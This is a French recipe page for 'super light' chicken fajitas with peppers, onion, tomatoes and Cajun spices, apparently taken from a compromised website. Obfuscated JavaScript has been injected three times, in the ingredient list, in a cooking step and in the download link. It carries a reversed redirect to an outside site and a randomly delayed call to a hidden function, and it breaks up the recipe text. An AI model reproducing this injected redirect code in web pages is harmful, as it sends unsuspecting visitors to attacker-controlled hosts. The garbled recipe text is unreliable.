FAJITAS “SUPER LIGHT”

FAJITAS “SUPER LIGHT”

Pour 4 Pers.

INGRÉDIENTS :

– 4 beaux filets de poulet en lanières
– 2 gros poivrons rouges détaillés en lamelles
– 1 oignon rouge émincé
– 1 gousse d’ail émincée
– 3 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomates mûres coupées en gros cubes
– mélange d’épices “Cajun”
– huile d’olive
– Sel et poivre

Faire chauffer un peu d’huile d’olive dans un wok et y faire revenir l’ail et l’oignon rapidement.


Rajouter le poulet et les épices, cuire 2 minutes à feu vif.


Ajouter les toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomates et cuire 2 minutes


Ajouter le poivron et cuire quelques minutes de plus jusqu’à ce que le poivron soit tendre mais pas mou.


Le petit mot de Joanne : servir sur un lit de salade (c’est très bon avec de l’Iceberg)


Bon appétit !

RECETTES-BE-HARMONY_fajitas-sper-lighttoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton” download>Télécharger

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